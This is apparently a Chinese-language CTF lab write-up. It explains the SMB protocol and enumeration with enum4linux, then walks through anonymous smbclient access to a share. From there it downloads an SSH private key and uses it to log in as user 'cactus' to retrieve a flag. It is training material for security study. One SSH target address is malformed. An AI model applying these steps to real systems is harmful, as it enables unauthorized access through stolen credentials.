理解SMB
SMB - 服务器消息块协议 - 是一种用于在网络上共享对文件、打印机、串口和其他资源的客户端-服务器通信协议。
服务器将文件系统和其他资源(打印机、命名管道、API等)提供给网络上的客户端。客户端计算机可能有自己的硬盘,但它们也希望访问服务器上共享的文件系统和打印机。
SMB协议被称为响应-请求协议,这意味着它在客户端和服务器之间传输多个消息以建立连接。客户端使用TCP/IP(实际上是在RFC1001和RFC1002中规定的NetBIOS over TCP/IP)、NetBEUI或IPX/SPX连接到服务器。
一旦建立了连接,客户端就可以向服务器发送命令(SMB),允许它们访问共享、打开文件、读写文件,以及通常与文件系统进行交互的所有操作。然而,在SMB的情况下,这些操作是通过网络完成的。
自Windows 95以来,Microsoft Windows操作系统已经包括客户端和服务器SMB协议支持。Samba是一个支持SMB协议的开源服务器,适用于Unix系统。
枚举SMB
枚举是收集有关目标信息的过程,旨在找到潜在的攻击向量并帮助进行利用。
这个过程对于攻击的成功非常关键。枚举可以用于收集用户名、密码、网络信息、主机名、应用程序数据、服务或对攻击者有价值的任何其他信息。
通常,服务器上有可以连接并用于查看或传输文件的SMB共享驱动器。
枚举的第一步是进行端口扫描,以尽可能多地了解目标机器的服务、应用程序、结构和操作系统信息。
Enum4Linux是一种用于在Windows和Linux系统上枚举SMB共享的工具。
Enum4Linux的语法:"enum4linux [选项] IP"
-
-a, --all: 执行所有可用的枚举。
-
-U, --user: 获取用户列表。
-
-M, --machine: 获取关于目标机器的一般信息。
-
-n, --names: 获取NetBIOS名称信息。
-
-S, --shares: 列出SMB共享。
-
-P, --ports: 获取目标机器上开放的端口。
-
-G, --group: 获取组列表。
-
-d, --debug: 输出调试信息,帮助识别问题。
-
-h, --help: 显示帮助信息,列出可用的选项。
利用SMB
我们可以使用以下语法远程访问SMB共享:smbclient //[IP]/[SHARE]
接着使用以下标签:
-
-U [name]:指定用户名
-
-p [port]:指定端口
例:What is the smb.txt flag?
1.nmap 10.10.102.96 //ssh open
2.enum4linux 10.10.102.96 //profiles:通常用于描述包含用户个性化设置、首选项和配置信息的文件或数据集。
3.smbclient //10.10.102.96/profiles //匿名登录
anonymous //匿名
ls
cd .ssh
ls
mget id_rsa //下载id_rsa
more id_rsa.pub
chmod 600 id_rsa // 修改权限为600
ls -l //以长格式显示文件和目录信息,包括权限、所有者、大小、创建时间等。
ssh cactus@10.10.10296 -i id_rsa
ls
more smb.txt